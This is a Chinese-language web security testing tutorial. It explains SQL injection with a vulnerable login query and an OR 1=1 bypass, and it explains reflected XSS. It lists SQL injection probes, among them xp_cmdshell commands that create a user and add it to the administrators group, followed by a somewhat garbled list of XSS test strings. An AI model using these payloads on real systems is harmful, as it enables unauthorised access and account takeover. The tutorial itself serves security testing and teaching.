Web测试介绍2一 安全测试


        安全测试是在IT软件产品的生命周期中,特别是产品开发基本完成到发布阶段,对产品进行检验以验证产品符合安全需求定义和产品质量标准的过程.

主要安全需求包括:

(i) 认证 Authentication: Is the information sent from an authenticated user?
(ii) 访问控制 Access Control: Is data protected from unauthorized users?
(iii) 完整性 Integrity: Does the user receive exactly what is sent?
(iv) 机密性 Delivery: Is the information delivered to the intended user?
(v) 可靠性Reliability: What is the frequency of a failure? How much time does the network take to recover from a failure? What measures are taken to counter catastrophic failure?
(vi) 不可抵赖 Non-repudiation: Is the receiver able to prove that the data received came from a specific sender?

常见的安全威胁,如下图

对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是因为这些漏洞涉及系统逻辑或业务逻辑,有时候还需要人机交互参与页面流程,因此 这类漏洞的检测更多的需要依靠手动测试完成。
 
手工检测网站URL、后台登陆是否具有SQL注入

就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

这种范例向您展示了怎样使用 SQL 注入来耗尽一个结构糟糕的登录应用程序:
一个网络应用程序会催促您输入一个用户名和密码来进行登录,而 SQL 语句是按照下面的方式组织的:

String query = "SELECT * FROM users WHERE user ='"username+"' AND password ='"passwd"'";

变量 username 以及 password 没有得到细致的处理,并分配给用户在应用程序中输入的值。这就使得一些恶意的用户可以输入 username 之类的值:

anything' OR 1=1 --

密码可以是任意值。在这种情况下,假设它是一个星号:*。

对于输入来说,当代码替换 username 以及 password 变量时,结构化的查询是:

SELECT * FROM users WHERE username ='anything' OR 1=1 -- AND password ='*'

该语句解释了密码需求,并插入状况 1=1,这条语句的值一直都是真的。就算没有相关的权限,攻击者也会被确认为一个有效的用户。

其它还有

Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)

Cross-site scritping(XSS):(跨站点脚本攻击)

在这种一般的攻击中,恶意代码会植入到第三方的受信网站之中。如果 HTTP 请求可以将其注入到最终 HTML 页面上的话,那么跨站点脚本漏洞就向这种攻击开放了。

例如,一项服务会接受名为 image 的参数,来接受来自于文件系统的图片,来执行一些处理:

http://somedomain/myImageProcessor?image=myimage.jpg

一个入侵者可以通过向 image 参数插入 JavaScript 代码,来占用该应用程序。其意图是耗尽错误处理系统的资源。如果一个包含恶意脚本的出错信息会被生成的话,那么入侵者就可以利用这一点了:

http://somedomain/myImageProcessor?image=myimage.jpg>...malicious code ...

如果出错信息返回图片参数的内容,而不用筛选的话,那么代码就会封闭到  ★  ★  ★javascript:alert(/xss/)  ★javascript:alert(/xss/)  ★  ★  ★  ★=’>  ★1.jpg" onmouseover="alert('xss')  ★">  ★http://xxx';alert('xss');var/ a='a  ★’”>xss&<  ★"onmouseover=alert('hello');"  ★&{alert('hello');} ★>"'> ★>%22%27>  ★>"'> ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22 ★%22%2Balert(%27XSS%27)%2B%22 ★

★ ★a?  ★